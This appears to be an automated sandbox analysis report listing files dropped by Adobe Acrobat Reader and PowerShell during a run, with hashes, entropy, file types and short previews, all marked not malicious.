Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.27966931048359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfshHHrPeUkwRe9:YvXKXRO6Zc0vJQr6sGUUUkee9
MD5:	29503B610E1C6DAA70900EF0917A25A6
SHA1:	0F08AFAEBB24BEF4AAF10C7C791219B1959C86DE
SHA-256:	EB1179FF7F7284E2BED1E707CBDD5453E5A0618DD6B3774F442388CAA622A1A5
SHA-512:	833F82E853E696A11E6B06B8B6A7B8F950E2A8FF54328B591B870700FD2A8070335A30520C5FD471D4BCDEE3C098341CF78494CDE3AEC3F6688AC166AC062F2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.290281363494392
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJTqgFCrPeUkwRe9:YvXKXRO6Zc0vJQr6sGTq16Ukee9
MD5:	6373A8C2751AC8F547A7FC7854AB273B
SHA1:	30FE6CFB6F3FF847BD06ABC99409CFCC1E92CC87
SHA-256:	7440D52A96488E23E9C9F0C0DD96B9060BB2A929A17377DEE6827CE011DA83CE
SHA-512:	57441F37ECA30EE506F4A206F1E2D0531116E3EDC866BF281EF63599DCB76E3BD71095EC13A3269ED8B3DF42786A8CC79D60DB7B931A6B45DF658F4095E62A01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141122924710969
Encrypted:	false
SSDEEP:	48:YXLwr+2AIgbaKsjp+tQPV5Np6AP/O6vEmkpMt/I9xqfoE:eLwC2ApbaK6pyQPVHHHQmkps+xqwE
MD5:	A015A1EE10B155A13929015E716D4429
SHA1:	7E68809EE71BEE1E4D0596C7E4B952F6E2AA3AA5
SHA-256:	C9319F096B1A6DBDD1141F69EFBA441ACB7863477D4540A8C454883861FE1834
SHA-512:	5F8E81EBFEBA2F135BC87CEEAC958C6BDA159DCDCDC940AD6BD4DDD063B3B9CC70E062D65D76B99C7E289075E1DD17528AD4142B522FF88700CF0A649D812646
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"75f84aeaba24203a042503eeaf5e4c24","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529789000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5fad526130a883c5bea6c5ff72114c0c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529789000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"72a9629aa996cbc9574202bb6bce831d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529789000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5a6198e60308d1993e1136d2cb3d3782","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529789000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"25299da7819730ef23f727a5240e6ed8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529789000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"15717995f9da470e730ae180e3b23fc5","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.18823873077191
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU8ZfSvR9H9vxFGiDIAEkGVvpYZ/:lNVmswUUUUUUUU8p+FGSIt8N
MD5:	81679F7E18D8E7681D8AFC00F938440F
SHA1:	620EDB171374A0AE85D384AC9B302DD7CD8A0F8E
SHA-256:	EAE3FEBB2EDEC86133FB2E4016B8F98B1A0B4E744FE54E63B54CF968937CB535
SHA-512:	8CC8FC7BDB729C6EF432666B142FA0FD3AB51AB00B9C6FDDA04A1597C378A37528490352D9377EBAD3BC1085A0101B3F8F772BBBC6560B8CF279673C1300ECA3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6071267638774467
Encrypted:	false
SSDEEP:	48:7MmKUUUUUUUUUU8ZjvR9H9vxFGiDIAEkGVviqFl2GL7mso:7KUUUUUUUUUU8lFGSItYKVmso
MD5:	97AB8A1926DD38A474782AB453530A27
SHA1:	8702B32865E30DD0D44F3AEFE343D42DCF0FB9C2
SHA-256:	5DC89EAD91B178900DE7D80A04C322541A2001AE22DC0BD69DC1FCDB5481A53C
SHA-512:	E0CD922585117CFCFC765E2FE605E0C86A372F0A68F31807DF15D945191315E3E70F2297E228A1C01F8CADBBCD512C6C2774BAC5BBE67024A515377F7D883443
Malicious:	false
Preview:	.... .c.....3.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg4znFM26nrRUfifEXFZkPY9boYyu:6a6TZ44ADE4zFM26nVUKmoK
MD5:	909DD8575E1E2CF3FA027B5AA4014F29
SHA1:	4EF2CA4D33DF2537B5F45D469F40B1248BBF4DE5
SHA-256:	F91CB86A8164329F9E2B5EDBD5D84B1555310F261118955269A779114E31DD8A
SHA-512:	5268D8168DC3A063912F9FB60AA7932DB95130C9B7FA6F8998519C1F984D72CB7486FFC2A315D748ED842C80097E1FBE7949913392C843DF25E642CCC486B61C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI38d77.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3dlww:Qw946cPbiOxDlbYnuRK+bD3dH
MD5:	B4140A60BE46C99F7F19BB40525FFFD8
SHA1:	99786B04B03B0DFC10E3E007A4C97EF3EB459EE1
SHA-256:	68E70B9027F785B0058F16B4AA91EFA4DBCABC2D947A1BDB4549DA9EAA293F7B
SHA-512:	0D386288DCAB7D5394DE721228E5A7D76B4A24BFA76F576F1C550C01B6B1081AB6EB0BE55F9AEED226A98DBB225873D4EEA0FA15D56B024B76B544780B9BE524
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.2.3.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xnghqoe.r33.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hafglfdb.qdb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-23-03-177.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.365836247500546
Encrypted:	false
SSDEEP:	384:tMK34P9W5jOnEPdsWdyd7sGDSW5IVyYASFG1vJBPrr7epV0uA2ncMGzG/S/1pAXk:Kk1U
MD5:	C94EFD9BC1AC4E4FF67D11FDA00264F8
SHA1:	F77905C679C1AEA1D5BE0CC77335E4CE6853DE76
SHA-256:	EF24E304B9BF3B0A53FF49158167BD40ED13ABED40E786A800DEEC84FE6A7744
SHA-512:	9C8595A068797951B763BF73DE0B06C0F69DAC0547C6C862FD65AB1B61D2D6DB51DC61340A336F0A98A308E0EF9E880528FCF6720737C33FB60CAB2EB7E53546
Malicious:	false
Preview:	SessionID=1bc3d511-13c7-44f9-b5fd-6ddd81eaf56d.1736529783204 Timestamp=2025-01-10T12:23:03:204-0500 ThreadID=7344 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1bc3d511-13c7-44f9-b5fd-6ddd81eaf56d.1736529783204 Timestamp=2025-01-10T12:23:03:209-0500 ThreadID=7344 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1bc3d511-13c7-44f9-b5fd-6ddd81eaf56d.1736529783204 Timestamp=2025-01-10T12:23:03:210-0500 ThreadID=7344 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1bc3d511-13c7-44f9-b5fd-6ddd81eaf56d.1736529783204 Timestamp=2025-01-10T12:23:03:210-0500 ThreadID=7344 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1bc3d511-13c7-44f9-b5fd-6ddd81eaf56d.1736529783204 Timestamp=2025-01-10T12:23:03:210-0500 ThreadID=7344 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3821605375019885
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rJ:WE
MD5:	90876D4CF05F209805A2D67ED77EB79C
SHA1:	BC29DDF226D5F7437D4C0A11C41CD3A245FBA231
SHA-256:	7AE43E963EB14899A3CC1383A286EF96B42E204C09FB9B55C35F5B52B71FA8C9
SHA-512:	338093256C2FC2A3965CC3ABD0CD563D30A9325C8C00F3F773D306F9302480CCA5B7ED169F77189DCEABABC93BD2691EBDAB5D0D2162941F315DDD8965A0052B
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\05971491-66b8-4fc6-996e-74c47f5398e4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+fBYCERXTJJl:O3Pjegf121YS8lkipdjMMNB1DofjEGJH
MD5:	BAEB02CA18ECB74EF8E03548852D207E
SHA1:	938A6EC3EDE559AC243A95F30E8AB9FC7B0FCCFF
SHA-256:	6600D8F4A7E866FBB4A67A02983976662050AF139C88C978748CC221E899E92D
SHA-512:	1E7BE870ED21E20E9DA74C71B57C2BC6A41AB0039DD45DB76115157C1F97D6DE581DBBBA25B9FF3D55E3A164498A9E92A609B1F11586BEDFE9EF150BD607E8CC
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\060b2fc1-c272-405b-aa1d-7c9bde57be2a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\688ab100-1953-40fa-a6fa-dbb649cf4b64.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:6Dbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WL07oXGZGwYIGNPJF:cb3mlind9i4ufFXpAXkrfUs0jWLxXGZY
MD5:	279B811F8FB7ED83618C0B37825CCF25
SHA1:	5718DA0EF8F5A938CB88800665F18C9B805208B2
SHA-256:	2AF4D3CE45FACE3A6DF83A17E90912767BE01A6F2C96AD8B3F270FDB13F77E46
SHA-512:	74A736359646F91F28AC496DFFF249D0E5B005AA6BB34DAFDDE3C2A29B70D52E6F865239579AC94540AAB0D20BFC03AE6501814358D2122FCB60A4591213A9B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8b6fcf0f-9793-499c-b50f-29b62ff5a9cf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oFGZswYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxFGZswZGh3mlind9i4ufFXpAXkru
MD5:	67EBA7096DE50120F5E6CF45B2ABDBC3
SHA1:	06427FBD938471746D27631D3897434E1E7B89F4
SHA-256:	7A4019B014EAAF11EC07EA0CDB234281769281D11D45ABE1259366FBD324AF2F
SHA-512:	85DB995E09DED7C429CA36C01BE62791438BE3EB0713EEE8A009EE081BF76D22C04B402A58B6E54A544597D97332056CED5E2037479BB3A1CF35F682D61E9270
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA 